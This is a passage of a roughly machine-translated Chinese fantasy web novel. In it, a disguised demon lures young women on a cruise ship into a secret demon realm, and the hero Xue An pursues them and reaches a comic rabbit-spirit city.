    Above the East China Sea.


    A luxury cruise ship is slowly passing by.


    At this moment, the East China Sea is calm!


    The sea surface is like a huge mirror, reflecting the white clouds in the sky, giving people a feeling of not knowing whether it is water or sky.


    Standing at the stern of the ship, Wei Ruyan was stunned by the cool sea breeze, watching the white tail waves left by the cruise ship passing by.


    At this moment, a petite girl came over.


    "Your Excellency Ruyan, what are you looking at?" the girl asked with a smile.


    Wei Ruyan didn''t look back, but pointed to the white waves, "Miss Dianzi, look at those waves! That is the realm that our florist dreams of!"


    Noriko Izumi sighed slightly, "No wonder Your Excellency Ruyan''s floral crown is unparalleled in the world, even when traveling, I never forget to feel the beauty of nature!"


    Wei Ruyan smiled slightly, "Nature is our best teacher! No matter how natural floral art is, there is no beautiful flower that grows naturally!"


    Izumi Noriko stroked her palms and exclaimed, "Is the floral art of Your Excellency Ruyan now in the realm of returning to nature?"


    Wei Ruyan shook her head, "Not yet! It''s just a touch."


    This Izumi Noriko is a master of flower art in R country. This time she kindly invited Wei Ruyan to perform flower art in R country.


    After the two chatted a few more words, Wei Ruyan left and returned to the room.


    Looking at Wei Ruyan''s back, Izumi Dianzi''s mouth rose up, revealing a very strange smile.


    It is different from other cruise ships.


    Ninety percent of the girls on this luxury cruise ship are girls, and all of them are beautiful.


    These girls are attracted by Izumi Noriko''s free travel and the gimmick of visiting R country to appreciate flower art.


    In the words of Noriko Izumi, only beautiful girls can truly feel the charm of floral art.


    Wei Ruyan lives on the top floor of the cruise ship.


    As she was about to go back to the house to rest, she met a girl walking silently with her head down.


    The two passed by.


    Wei Ruyan was startled suddenly.


    Because she found that the girl''s profile was very familiar, as if she had seen it somewhere.


    But where is it?


    Wei Ruyan frowned slightly thinking.


    When the girl was about to turn, Wei Ruyan suddenly remembered, she couldn''t help but shouted with a smile: "Little girl, do you know Mr. Xue?"


    The girl stopped and turned to look at Wei Ruyan. Her beautiful and youthful face was a little confused, "You are..."


    Wei Ruyan smiled slightly, "When Mr. Xue got married, I seemed to have seen a girl at the wedding banquet in Beijiang! My name is Wei Ruyan!"


    The girl was shocked, "It turned out to be Master Wei, sorry, I didn''t see you just now! Mr. Xue... is my brother!"


    When Wei Ruyan heard the words, her eyes lit up and she couldn''t help smiling and stretching out her hand, "Don''t be so polite, since you are Mr. Xue''s brother, there are no outsiders. What is the girl''s name?"


    "My... my name is Xie Jingjing!"


    Since attending Xue An''s wedding, Xie Jingjing has buried all her feelings for Xue An in the deepest part of her heart, and began to study like a vent.


    Soon, she completed all the high school courses by herself, and participated in several city-level entrance exams as a high school sophomore, all of which were among the best.


    But at the same time, her body and spirit are on the verge of collapse.


    I often sit there and spend a day alone, or cry as I walk.


    Such a mental state frightened Lao Xie and Fat Aunt. For fear that her precious daughter would become mentally ill again, she gave her a half-year suspension of school to let her travel and relax.


    A few days ago, the fat aunt happened to hear the publicity of Izumi Noriko making this free tour.


    At first, the fat aunt was afraid of being a liar. After I asked about it carefully, I found that this Izumi is very famous in R country, and there are many large companies that provide guarantees. It should not be a liar. Only then, she gritted her teeth and prepared to sign up for her daughter.


    But when Fat Aunt brought Xie Jingjing to the registration venue, she found that there was already a huge crowd, and her heart was cold.


    With so many people signing up, it might be difficult to be selected.


    Unexpectedly, when Fat Aunt led Xie Jingjing into the registration hall, Izumi Dianzi saw Xie Jingjing at a glance, and immediately decided to let her participate in this trip.


    Even when she was on the cruise ship, the rooms she lived in were all VIP-class.


    This happened to meet Wei Ruyan.


    Wei Ruyan had been looking at Xie Jingjing just now, the more she looked, the more stunning she became.


    This little girl is not very young, she is already a beauty, especially the cold temperament on her body, which makes people love and fear.


    "Is Jingjing alone?" Wei Ruyan said.


    Xie Jingjing nodded.


    "It''s better to come to my room, my room has two bedrooms, we can also be each other''s company!"


    "But... can it?" Xie Jingjing hesitated.


    "Why not! You are Mr. Xue''s younger sister. I will take care of you when I meet you!" Wei Ruyan said, she took Xie Jingjing''s hand and walked to her room.


    Xie Jingjing looked at Wei Ruyan, and a touch of warmth gradually emerged in her eyes like an injured deer.


    This woman, like a gentle big sister, gave Xie Jingjing a strong sense of security.


    Xie Jingjing followed Wei Ruyan to her room, which was much more luxurious than Xie Jingjing''s, and even had a large bathtub.


    Wei Ruyan is a woman with a careful mind and hair. Naturally, she can see that Xie Jingjing is a little depressed, so she has been trying to enlighten her.


    So soon the relationship between the two became closer.


    When it was time for lunch, the two came to the restaurant hand in hand.


    The equipment on this luxury cruise ship is extremely complete and luxurious, such as this restaurant, which has a size of 40 to 50 square meters.


    This is already a configuration against the sky on a cruise ship.


    At the moment, the restaurant is full of girls who come to eat, Yingying and Yanyan gathered together, which is very pleasing to the eye.


    Wei Ruyan and Xie Jingjing chose a seat to sit down and chatted while eating.


    There was a sudden violent bump in the boat that had been steady.


    The entire restaurant shook violently.


    Many girls screamed in fright.


    Xie Jingjing''s face turned white, "What''s the matter?"


    Wei Ruyan smiled slightly, "The boat is sailing on the sea, it''s probably a storm!"


    While talking, I saw Noriko Izumi leading a group of people slowly in.


    "Code..."


    Wei Ruyan wanted to say hello suddenly stopped again.


    Because she found it wrong!


    This Izumi Noriko didn''t have the gentle smile of the past, but was full of arrogance and... murderous.


    Noriko Izumi clapped his hands and said lightly: "Be quiet! Now I want to inform everyone that the end of the journey is here!"


    Arrived in country R?


    how is this possible!


    At this rate, it will take at least three days to get to Country R!


    Everyone was full of consternation.


    "Miss Noriko, are you joking?" a girl asked.


    As soon as the voice fell, a black light penetrated the girl''s forehead.


    The girl stood blankly, a big **** hole appeared on her forehead, and after a while, the dead body crashed to the ground.

 Chapter 504： Girls, welcome to the demon world

    "Girls, in the days to come, I hope you can learn to be awed as soon as possible, because only in this way can you survive! And this first step starts with calling me my lord! Do you understand?" Izumi Noriko faintly Said.


    But many of these girls have just walked out of the school gate, where have they seen such **** scenes, so after a moment of daze, they burst into screams.


    "Ah ah ah ah, murder!"


    Accompanied by screams, there was a violent commotion in the restaurant.


    Many girls ran away, thinking about running out of the restaurant.


    Looking at this scene, Noriko Izumi showed a cold smile on her face.


    "These goods are waste if you keep them!"


    With her voice, the light in the restaurant suddenly went out.


    In the darkness, something seemed to be crawling, and then there were several screams and scalp chewing sounds.


    When the lights came on again, apart from a few pools of blood on the ground, there were no traces of those girls.


    "What I said, learn to be in awe! Why don''t you understand?" Izumi Noriko said with a sigh.


    There was silence in the restaurant.


    Everyone looked at her with extremely horrified eyes.


    Some girls were trembling all over, but did not dare to cry, so they could only cover their mouths and sob silently.


    Xie Jingjing was also frightened, and sat there pale, not knowing what to do.


    At this time, someone gently held her hand.


    Xie Jingjing turned around and saw Wei Ruyan nodded slightly at her, and then said lowly: "Don''t be afraid!"


    Xie Jingjing actually became much calmer, and most of the fear in her heart disappeared.


    At this time, Izumi Dianzi slowly walked off the platform and walked straight towards Wei Ruyan.


    Wei Ruyan''s face sank like water, watching coldly.


    "Your Excellency Ruyan''s courage really makes me feel very admired. This time I can have a prey like you, Your Highness will be very happy!" Izumi Noriko said with a smile.


    "You are not Hequan Dianzi!" Wei Ruyan said coldly.


    "Hahaha, I really deserve to be a florist who can communicate with flowers and plants, and he can see through my disguise, yes, I really am not Izumi Noriko!"


    As he said, a crack appeared in the middle of Noriko Izumi''s forehead, and then a pair of red-haired claws stretched out and pointed to both sides.


    Noriko Izumi''s skin fell to the ground like a deflated balloon, and a golden-eyed red-haired monkey came out from it.


    This is like a scene in a horror movie that scared many girls into a faint.


    Wei Ruyan''s face gradually turned pale.


    At this moment, the entire ship shook violently, and then the entire top of the ship suddenly separated as if it had been cut off by something.


    The strong wind rushed in with huge amounts of sea water.


    From the eyes of everyone, the originally calm sea boiled like a pot.


    At the same time, in the center of the sea, a huge whirlpool is slowly taking shape.


    The whole ship began to sail towards the vortex at a rapid speed.


    The girls on the boat screamed.


    If this ship enters the vortex, it is estimated that all the people here will die.


    The golden-eyed monkey laughed wildly, "Your Excellency Ruyan, and all the girls, next is the end of our trip, Demon Realm!"


    "Demon World?" Wei Ruyan hugged Xie Jingjing, and asked aloud.


    "Yes, it''s the Demon World! I hope you will like the life there! Remember my words, learn to be in awe!" said the golden-eyed monkey with a smile.


    Then the cruise ship entered the vortex, and after a few crazy spins, after a brilliance, it completely disappeared.


    In the blink of an eye, the wind stopped and the waves were calm.


    The boiling sea gradually calmed down the anger.


    As if nothing happened, who would have thought that a cruise ship just disappeared into this sea.


    But only a few minutes later.


    A stream of light flew from the sky and appeared over this sea area in the blink of an eye.


    Xue An stopped.


    "Boss, there is a monster!" Xiao Sha took a deep breath, then frowned.


    Xue An nodded with a sinking face.


    Before coming, he had inquired about the route of the cruise ship Wei Ruyan was seated on, and it happened to pass through the secret realm entrance mentioned by Zhang Xiaoyu.


    This further confirmed Xue An''s guess.


    Noriko Izumi in Country R definitely has a problem.


    So he came without stopping.


    Unexpectedly, it was still a step too late.


    But Xue An didn''t know at this time, and even Xie Jingjing was in that ship.


    "Go in!" Xue An said lightly.


    Zhang Xiaoyu nodded, and pinched her hands. "Master Xianshi, wait a while, it may be a little slow! After all, I am not very skilled!"


    Xue An watched from the side, and saw Zhang Xiaoyu dancing and dancing like a great god, still muttering words.


    For a minute, the wind was calm and there was no movement!


    Two minutes, still the same calm.


    three minutes����.


    Sweat stains appeared on Zhang Xiaoyu''s forehead, and he said apologetically: "Master Xian, it seems that pinching is not possible in a human form, you wait for me to become an octopus!"


    "No need!" Xue An frowned slightly, using his hand as a sword, crashing down.


    A huge sword light directly cut the entire sea area in half, and the boundless sea water was stirred up by this sword energy and divided into two sides, exposing a brilliance-shrouded seabed below.


    "Go!" Xue An took the lead and flew over.


    Zhang Xiaoyu stared blankly.


    Xiao Sha patted her head, "What are you doing stupidly, catch up!"


    "Hey, good!"


    Zhang Xiaoyu followed behind and suddenly had strong confidence in his heart.


    Before that, she didn''t know Xue An''s strength.


    But Jiang Meier ordered her to find Xue An, and she came.


    It wasn''t until she saw this sword of division that she had a bottom in her heart.


    After walking through the brilliance, Xiaosha felt a flower in front of her and came to a desert.


    This desert is extremely vast, with no vitality except for the scattered weeds on the ground.


    "Where is this place!" Xiaosha asked Zhang Xiaoyu Zhang Xiaoyu looked around for a long time, then looked up at the sky, and then shook his head with a bitter expression. Few people can walk around, and I don��t know where it is!"


    Xiao Sha glared, "Why don''t you know, why do you want you?"


    Xue An said lightly at this time: "Fly and have a look!"


    As he raised his hand, he took Xiaosha and the two demons into the sky together.


    But after flying for about an hour.


    Below is an endless desert.


    Even Xue An was slightly surprised.


    It seems that this secret realm is much larger than the earth!


    And being able to open up such a vast secret realm, it can be seen that the original pioneer was by no means ordinary people.


    At this moment, a city faintly appeared in the distance.

 Chapter 505： In August, it becomes light, and the nose begins to shine.

    This city is not too big, there is a plaque hanging above the city gate with the word "Jue Nose" written on it.


    "It turned out to be Juebi City!" Zhang Xiaoyu said with a sigh.


    "Huh? What is the nose?" Xiaosha asked.


    "Taiping Yulan" note: August becomes light, and the nose begins to show. The so-called nose is a rabbit!" Xue An said lightly.


    "Oh~ It turned out to be the rabbit spirit! Just say that the rabbit city is over? It''s really troublesome!" Xiao Sha mumbled, and then said to Zhang Xiaoyu.


    "Hey, now that you have found Jube City, can you follow the vine to find your Sea-Monster clan?"


    Zhang Xiaoyu smiled bitterly and shook his head, "I also heard people occasionally mention this Jubi City, saying that it is in the extreme west of the secret realm, while the Sea-Monster tribe is in the east of the demon realm. I don''t know how far apart it is. ."


    Xiao Sha raised her eyebrows with anger, just about to say something.


    Xue An stepped forward.


    "Boss, what are you doing?"


    "Since I''m here, I will naturally go in and take a look!" Xue An said lightly, already far away.


    Xiaosha hurriedly followed.


    Zhang Xiaoyu hesitated, then turned to look at the empty desert, and couldn''t help but shudder, "Sister Long, my lord, wait for me!"


    The layout and architecture of this city have a bit of Han Dynasty charm.


    And the people walking on the street were all well-dressed men, women and children, and there was no difference at all.


    "Strange, why can''t you see the demons of these guys!" Xiao Sha mumbled.


    "Of course I can''t see it, because these are all people!" Xue An said.


    "Human? Isn''t this the demon world? How come there will be people?" Xiaosha asked with confusion.


    "Who said that there can be no people in the demon world? Is it possible that only people in the demon world are allowed to have people in the demon world?"


    Zhang Xiaoyu nodded, "Master Xianshi is right. Even in the territory of our Sea-Monster tribe, there are many human beings! Sister Long is a wild monster, of course I don''t know much about these."


    Xiao Sha suddenly realized, and then his face gradually sank, "Who do you say is wild?"


    "Isn''t it? The Demon Realm regards all the monsters that naturally spawn in this world as wild!" Zhang Xiaoyu was still explaining seriously.


    But she didn''t finish her words.


    Xiaosha rushed up uncontrollably, "You are wild, and your whole family is wild!"


    Xiao Sha is cruelly torturing Octopus.


    A coquettish man in a white boy''s shirt with a flawless jade on his waist came over.


    He first glanced at the beautiful Xiaosha and the beautiful Zhang Xiaoyu, and then said to Xue An with envy.


    "This Xiongtai, do you transfer these two female demons?"


    transfer?


    Xue An was startled slightly, and when he understood what it meant, he couldn''t help but shook his head with a smile.


    "Tsk tusk, these two amazing little fairies! If Xiongtai is willing to cut one''s love, I must thank you again! How?" The man still refused to give up.


    Xue An raised his eyebrows slightly and was about to speak.


    Xiaosha leaned over when he heard the words, and asked murderously: "Transfer?"


    The man became even more excited by Xiaosha''s stare, drooling and said, "It''s really the best!"


    Before the words were over, Xiao Sha rushed up, kicking the man to the ground with one kick, and then he was beaten violently.


    "Transfer? What are you doing as an old woman? Anything?" Xiao Sha questioned as he hit.


    The man was beaten crying father and mother, crying horribly.


    The pedestrians in the past all covered their mouths and laughed.


    Some people stood in the distance and whispered.


    "This Shen Langjun was beaten again! By all accounts, this is the third time this month!"


    "Hehe, I rushed to strike up a conversation when I saw a beautiful banshee. I thought he was dead if he wasn''t killed!"


    "But this banshee is really pretty!"


    "Pretty is pretty, but it''s too violent!"


    As he was talking, he saw a **** light drifting by, and it turned out that Shen Langjun''s two front teeth were knocked out.


    When Zhang Xiaoyu saw this, he rushed forward, "Sister Long, don''t fight, you''ll be killed if you fight again!"


    While talking, she secretly kicked Shen Langjun.


    People and fairies couldn''t refuse such things as Taipingquan.


    After the fight, Xiaosha clapped her hands and said bitterly: "If I dare to speak to my old lady in this tone in the future, I will definitely screw your head off!"


    Shen Langjun lay motionless on the ground, a large amount of blood gradually seeping under his head.


    The onlookers were also bluffed.


    "Could it be that you were really beaten to death!"


    Xiao Sha was also a little sad, thinking to herself, she obviously kept her hand?


    Just thinking about it, I heard someone shouting in the street far away.


    "Go to the city lord''s mansion to watch the excitement, someone else confessed to the third princess!"


    Hearing this shout, the whole street moved for it.


    The crowds that seemed to be lively also dispersed.


    "Go, go! You can''t occupy a good position if you are late!"


    Xiao Sha was still wondering what was going on.


    I saw Shen Langjun who had been lying on the ground suddenly jumped up, wiped the blood from his face, and shouted in grief: "No! The third princess is mine! No one can take her away!"


    After that, he stumbled and ran away.


    Xiao Sha looked at the pool of blood on the street, thoughtfully.


    Could it be that he started too lightly?


    How come this guy was beaten by himself and ran away like a okay person?


    Xue An patted her shoulder, "Let''s go!"


    "Boss, where are you going?"


    "Naturally go see the excitement too!"


    This City Lord''s Mansion is easy to find, it is located in the middle of Juebi City.


    At this moment, near the city lord''s mansion, it can be described as a sea of ??people.


    And there were many rabbit spirits dragging a long tail among the crowd.


    Not only that, these bunny spirits also got together with humans to make complaints.


    "Damn, can''t you make some new tricks?" a gray rabbit said dissatisfied.


    Because in the tall city lord��s mansion, the handsome human man is obviously holding a bunch of flowers made of carrots I don��t know which goddess said we rabbit love Eat radish, even if we like to eat, we can��t take this to propose marriage! "The rabbit is full of anger.


    An old man on the side laughed and said, "It looks like the third princess is the same as you think."


    And Shen Langjun had desperately squeezed into the crowd at this moment, staring blankly at the three princesses on the wall.


    This is a petite girl with a toot face, two deep dimples with a smile, and two cute rabbit teeth.


    She is also the youngest daughter of City Lord Juebi.


    She is called the three princesses.


    At this time, the three princesses sniffed, and said boringly, "Master Wu, I think I have said it very clearly! So please go back!"


    Young Master Wu was sad, "Third Princess, please give me a chance, I really like you!"


    "But I don''t like you!"

 Chapter 506： Humans and demons are true love from 1

    This Young Master Wu was full of sadness, "Three princesses, you are a demon, and your life is long! I am only a hundred years old, or you just see how I admire you so much, how about spending these hundred years with me?"


    As soon as this word came out, the crowd below was in an uproar.


    "shameless!"


    "It''s shameless!"


    "Why is his face so big to let people waste their great youth to accompany him?"


    Among them, Shen Langjun was the most angry, and saw him raising his arms and shouting.


    "The surname Wu, you are simply a wolf ambition. You have the ability to impress the third princess with true feelings! What kind of ability to pretend to be pitiful?"


    I can tell.


    This Shen Langjun and Wu Gongzi should be rivals in love.


    Wu Gongzi glanced at him disdainfully, and then continued to look at the third princess with warm eyes.


    "This... it''s not impossible!" The third princess groaned for a while and said.


    This Young Master Wu was overjoyed.


    "Three princesses, as long as you agree, it is better to hit the sun if you choose a day, why not enter the bridal chamber today!"


    The urgency in the words is obvious.


    Shen Langjun stared blankly, unable to believe his ears.


    The third princess actually agreed?


    Do not!


    How can this be!


    I had to know that pretending to be sympathetic to Poor Bo is useful, I have already used it myself!


    Shen Langjun was struggling with regret.


    Seeing the three princesses on the city wall sighed softly, "But you have to wait until I grow up to marry you! Because my mother said, now that I am still young, marrying someone is an early marriage."


    Young Master Wu''s smile froze, and then asked cautiously, "Then... how long?"


    "Well...it didn''t take long, at most seven or eighty years. If soon, fifty years will be enough!"


    A burst of laughter broke out from the crowd, knowing that the third princess was deliberately playing on the Wu Gongzi.


    Shen Langjun couldn''t help but let out a sigh of relief, cheering and saying: "The third princess did a beautiful job!"


    He was a little too excited, and turned his face to see Xue An just standing aside, he couldn''t help but put it on Xue An''s shoulder with excitement.


    "Xiongtai, have you seen it? These three princesses are my future wife, Shen Langjun, how about you, clever!"


    Xue An turned his head and glanced at him lightly.


    Shen Langjun felt his whole body stiff, and the hand on Xue An''s shoulder couldn''t help but withdrew back griefly.


    "You are a human, she is a demon, can human and demon be together?" Xue An said lightly.


    Shen Langjun looked at Xue An with the same look of antiques, "Xiongtai, you brought two beautiful female fairies, and now you actually ask me if people and demons can be together? You are too old-fashioned!"


    "In today''s city, even the most pedantic old master has to admit that marrying a female fairy is the most honorable thing!"


    "Don��t you know that last year, a scholar who was studying in the city lived in a ruined temple in the city. In the dead of night, a charming banshee came to the door, and then he made a romantic story about the gifted and banshee? How many people have been envious, now that ruined temple has become a talent inn!"


    "In these days, it is not unusual for people to be together with people. It is true love between people and demons!" Shen Langjun made a long comment, and finally made a brilliant summary.


    Xue An couldn''t laugh or cry.


    The people in this city are absolutely abnormal.


    How else can you tell so many messy principles?


    At this moment, I saw Young Master Wu on the city wall becoming angry, and suddenly took out a yellow talisman seal from his arms.


    "My little lady, you will do it today, and you will have to do it today!"


    He just threw it over.


    Fu Zhuan grew in the wind and instantly turned into a huge yellow cloth bag, heading straight for the third princess.


    The crowd exclaimed.


    "It''s the town monster!"


    Shen Langjun also saw this scene, yelled in fright, and wanted to rush to rescue the third princess.


    But how could his speed be faster than Fu Zhuan?


    So he could only watch Fu Zhuan smash at the blank face of the third princess.


    Xiao Sha roared, "Shameless!"


    With that, he rushed to the city wall and directly blocked the third princess.


    boom.


    The town monster talisman smashed into Xiaosha''s body firmly.


    Many people can''t help but sigh when they close their eyes.


    That''s it!


    This banshee is definitely not going to get better, it is estimated that this Fuzhuan town will become the plaything of this surname Wu.


    But at this moment, I only heard Xiao Sha arrogantly smiled: "Is it just so powerful? Then it''s me now!"


    He said that he rushed over.


    A punch was blasted, and it was hitting the face of the Wu Gongzi.


    Young Master Wu screamed and was blasted down from the wall by Shengsheng.


    Many people watched this scene stupidly.


    A few rabbit spirits even forgot the grass they were chewing, and looked at them with their mouths open.


    "Who is this banshee? Why is it so powerful?"


    "I can''t tell, but even the town demon talisman didn''t impress this banshee. Could it be that demon commander''s subordinate?"


    The man and the demon are discussing.


    Xiao Sha was about to rush down the city wall and ended up with that Young Master Wu''s life.


    But the three princesses stopped Xiaosha''s path and looked at her with bright eyes.


    "Sister, you are amazing!"


    "That''s!" Xiao Sha smiled triumphantly, but after such a delay, Master Wu had already got into the crowd and disappeared.


    "Let him run!" Xiao Sha was a little upset.


    The third princess smiled slightly, "If you run away, let''s run! He has chased me somehow, although I don''t like him, I can''t bear to see him die!"


    "Hey, did you make a mistake, but he took care of you first!"


    "That''s the same! My mother said, should you forgive others and forgive others!"


    Xiao Sha rolled his eyes.


    As a child who grew up in a jungle environment, she never believed in forgiving and forgiving.


    "Whatever, it''s your business anyway! Goodbye!" Xiaosha wanted to leave.


    "Sister, don''t go away, you saved me, you are my great benefactor, I naturally have to thank you very much! Would you please follow me in the mansion?"


    Xiaosha was very impatient, but she saw Xue Anchong in the crowd nodding slightly.


    She understood that Xue An was making her nod, so she had to agree.


    "Ok!"


    When the crowd dissipated, Xue An followed Xiaosha to enter the city lord��s mansion Then Shen Langjun suddenly grabbed him and said, "Xiongtai, can you accommodate me and bring me in too? What?"


    "You want to go in too?"


    "Yes! I have always admired the third princess very much, but I have no chance to get close. Can Xiongtai help me?" This Shen Langjun took off the jade pendant from his waist and gave it to Xue An.


    Xue An smiled slightly, "Forget it, you''d better keep this thing for yourself, otherwise, based on your character, if you didn''t have this thing, you would have been killed!"


    Shen Langjun was shocked, "You... this thing that you actually know?"


    Xue An smiled faintly, then turned and walked towards the City Lord''s Mansion.


    Shen Langjun stood there waiting in frustration.


    At this time Xue An''s voice came, "Aren''t you going to go in with it?"


    A big smile gradually bloomed on Shen Langjun''s face, and he hurriedly followed him.

 Chapter 507： An Neng distinguishes me as a male and female

    At first glance, this city lord��s mansion looks very impressive.


    When you take a closer look, you will find that no matter it is on the wall or on the corner of the eaves, there are paintings everywhere.


    These portraits are of different shapes and lifelike, and they are all made by everyone.


    It just makes people watch but just want to laugh.


    Because these portraits are all rabbits.


    That''s right.


    A chubby, round rabbit posing in various enchanting shapes.


    Xiao Sha frowned, "Who is this rabbit? There are portraits of it everywhere, why is it so narcissistic?"


    The third princess blushed, "My dear father, these are all self-portraits of my mother!"


    Xiaosha: "..."


    Along the way, no guards were seen, and he went straight to the outside of a hall.


    A few rabbit spirits were talking at the door, and when they saw that the third princess came with a group of people, they quickly came over.


    "His Royal Highness!"


    "Can my mother be here?"


    "It''s inside! The Lord of the City has just hired a brilliant hand from elsewhere and is drawing the image."


    The third princess nodded, and led everyone in.


    really.


    I saw a man in a green shirt smearing and smearing a portrait, and from time to time he raised his head and shouted: "My lord, please come over here!"


    On the soft collapse not far away, a chubby rabbit was lying on its side in a very enchanting posture. When she heard the man''s instructions, she moved her head very obediently.


    "This is my mother!" The third princess said softly, and then took a step forward.


    "Mother, this one saved my benefactor!"


    The Lord Rabbit didn''t dare to disturb his posture, and said motionlessly: "Three, wait a while, wait until I finish painting this portrait!"


    Xue An looked at this scene, suddenly a little funny.


    If this rabbit lives on the earth, it should be a standard selfie maniac!


    Someone brought a variety of fresh fruit tea, Xue An and others simply sat aside and watched.


    More than half an hour later.


    The painter was satisfied and put the pen aside, "Alright!"


    The giant rabbit took a breath, then sat up and stretched out, "It''s so tired! Let me sleep!"


    "Mother! This is my benefactor, and these are friends of the benefactor!" The third princess said again.


    The giant rabbit woke up like a dream, "Oh, look at my memory! I forgot about it!"


    He wiped his face with his hand.


    The hairy cheeks disappeared, replaced by a very rich woman''s face.


    Then he shook all over.


    The hair of the whole body disappeared, turning into a woman with a rich body and full of nobleness.


    She walked over, looked at the crowd for a while, and then stayed on Xiaosha and Octopus for a while before she covered her mouth and smiled and said: "I didn''t expect to see this in my little city of Jube. Such a good banshee!"


    Xiaosha got goose bumps all over her body when she was laughing at the giant rabbit.


    "Oh, mother!" The third princess stomped and did not follow, this scene full of little daughter''s anger, and Shen Langjun was intoxicated.


    "Okay, okay, I''m just joking. Since they are all my son''s benefactors, then there are no outsiders. Come, let''s have a banquet."


    When Xiao Sha heard this, pots of grass and carrots suddenly appeared in his mind, and he was so scared that he wanted to decline.


    The giant rabbit seemed to see Xiao Sha''s concerns, and he smiled: "Little girl, don''t worry, my banquet is very famous!"


    Soon, more than a dozen rabbit guards set up the banquet and waited for the food to be served like running water.


    Xiao Sha couldn''t help but look surprised.


    Because these meals have all kinds of meat and vegetables, and they are full of flavor and color.


    "How? I didn''t lie to you! Please sit down, you don''t have to be polite when you get to me, just eat and drink!"


    Everyone is seated.


    Wait for the wine to have three rounds of dishes and five flavors.


    Before the others could speak, Shen Langjun, who was already drunk, said with tongue out: "Sir, do you recognize me?"


    "Aren''t you afraid of death, Shen Langjun, a celebrity in Juebi City, I naturally recognize him."


    "Hey, can I beg you for one thing? I am obsessed with the third princess, can you betroth the third princess to me?" If this Shen Langjun is sober, he must not be so bold, but now he is drinking He was so courageous, he simply said what was in his heart.


    Hearing what he said, the three princesses lowered their heads, as if a little embarrassed, but they did not object!


    The giant rabbit smiled and trembled.


    Shen Langjun was getting more and more embarrassed by the laugh, and couldn''t help but said, "Why is the Lord of the City laughing? If you disagree, just let me know!"


    "I have no objection, but I am afraid you will regret it!" The giant rabbit said with a smile.


    "It''s hard to chase a man with a word, especially this kind of lifelong event, how can he regret it?" Shen Langjun hurriedly patted his chest and promised.


    "Oh? You really won''t regret it?"


    "really!"


    "really?"


    "really!"


    "Well, let me tell you the truth, my third princess is actually a boy!"


    "The blue boy... what did you say?" Shen Langjun didn''t react at first, and when he reacted, he couldn''t help standing up suddenly, his face full of consternation.


    "Did you really not see it?" The Giant Rabbit said with a grin.


    Shen Langjun, including Xiaosha, carefully looked at the three princesses.


    I saw a small waist with a full grip, white and beautiful, with a shy expression, she was obviously a beautiful girl who had not grown up.


    How could this be a cute blue kid?


    Xue An raised his cup and whispered: "Two rabbits walk next to each other, can An Neng distinguish me as a male and female?"


    The giant rabbit applauded and exclaimed, "I didn''t expect this young man to be so knowledgeable! That''s right, my third son''s favorite is women''s clothing travel, so I also have a headache!


    Shen Langjun felt that something in the deepest part of his heart suddenly shattered, and he sat on the chair with a dull expression, speechless.


    Xiao Sha patted his shoulder with sympathyBrother, you are indeed sad enough, but the girl who has been in love for so long finds it is a blue boy! I feel pity for you! "


    Shen Langjun suddenly raised his head and looked at the city lord giant rabbit with scorching eyes.


    "Boys are fine. Since humans and demons can be together, why can''t people of the same **** have true love? Anyway, I love the third princess, not his gender!"


    The audience was quiet.


    Xiao Sha looked at this scene with a stunned expression.


    And the third princess, no! It should be said that the third prince sighed slightly and said: "I understand the affection of Shen Langjun. If it were before, I might agree to it, but now I have my heart, so I am sorry, I can only refuse you! "


    "No..." Shen Langjun''s face was pale when he heard the words, "Can I ask the next three princesses, who do you belong to?"


    The third prince shyly looked at Xiao Sha, who was still in a state of ignorance, and then lowered his head, "Of course... my benefactor!"

 Chapter 508： Attack of natural enemies

    Huh!


    Everyone turned their eyes to Xiaosha, and even Xue An couldn''t help raising his eyebrows, watching this scene with a smile.


    "I wipe..." Zhang Xiaoyu was dumbfounded and murmured.


    "Why don''t you wipe your head!" Xiao Sha became angry, knocked Zhang Xiaoyu to the ground with a punch, and then said with eyebrows, "My old lady is not interested in the chirps of the ladies."


    "I think men are cuter than you, unacceptable!" Zhang Xiaoyu lay on the ground, muttering softly with a voice that only he could hear.


    Xiaosha stepped out and just stepped on the shoulders of Octopus, "If you talk nonsense, I will pull out your tentacles one by one and use them as a belt, do you hear it?"


    Zhang Xiaoyu nodded repeatedly, "Good Long Jie, no problem Long Jie!"


    "Men, you don''t like me like this, I can change it, but I''m actually very masculine, don''t believe me!"


    A puff of white smoke passed.


    His Royal Highness the third prince became another look.


    Wearing a black cloak, his hair was tied up, and even the corners of his eyes were drawn with black lines.


    "Gong, do you think I look particularly aggressive like this?"


    Everyone was silent.


    Because this costumed third prince seems to be... more cute.


    Xiao Sha''s face was frosty, obviously on the verge of running away.


    "Dead Rabbit, are you kidding me?"


    The three princes were startled, and a sorrowful light gradually appeared in their big eyes.


    "Gongong, are you discriminating against our sand rabbits?"


    Following her voice, the rabbit spirit guards who guarded the palace stepped silently, all looking at Xiaosha with a bad expression.


    Xiaosha snorted coldly, and said without fear: "Why, do you want to fight? Come on! It just happens that my old lady''s palm is itchy."


    In words, it''s no different from a female hooligan.


    "Well, stop making trouble!" Xue An put down his glass and said lightly.


    Xiao Sha, who was eager to try, lowered his head and stepped aside.


    Then Xue Anchong, the city lord Giant Rabbit, smiled slightly, "Thanks for the hospitality, we have no other meaning, just want to find out, how far is this place from the territory of the sea monster?"


    "Sea-Monster Territory?" Hearing this name, the original grace of the City Lord Giant Rabbit disappeared, and said in a little horror: "Why are you going there?"


    "Save someone!"


    "Save people?" City Lord Giant Rabbit shook his head like a rattle.


    "I advise you not to go and die! I heard that a group of unblinking monsters came there, and they occupied the Sea-Monster Territory and the surrounding state capitals! There are corpses all over the place, what else to save? people?"


    The words of the lord of the giant rabbit confirmed that what Zhang Xiaoyu said before was not a lie.


    And this rabbit is obviously more knowledgeable than Zhang Xiaoyu, and he also introduced the general situation in this secret realm.


    It turned out that this secret realm was not known when it originated or who created it.


    It is vast and full of energy.


    Many monster races live among them and live in harmony with human races.


    After so many years of development, this secret realm is divided into several major states.


    For example, East Binzhou, where the Kraken Territory is located, is the most prosperous and powerful state capital in the entire secret realm.


    In comparison, Huangsha Mansion where Juebi City is located is simply weak and pitiful.


    But even as strong as Dongbinzhou, it has already fallen in this monster invasion.


    Not only that, the seven state capitals in this secret realm have also fallen into four.


    The demon Bingfeng pointed out that these monsters who were accustomed to the peaceful atmosphere in this secret realm were frightened.


    Nowadays, in the frontiers of the remaining three state capitals, the local demons have established a resistance army, which can barely be regarded as a stand in front of the demons.


    But no one knows how long this short peace will be maintained.


    This is also the reason why the town lord rabbit thinks that Xue An and others are looking for death in the Sea-Monster Territory to find someone.


    Octopus looked pale when he heard it.


    Dongbinzhou was still there when she left.


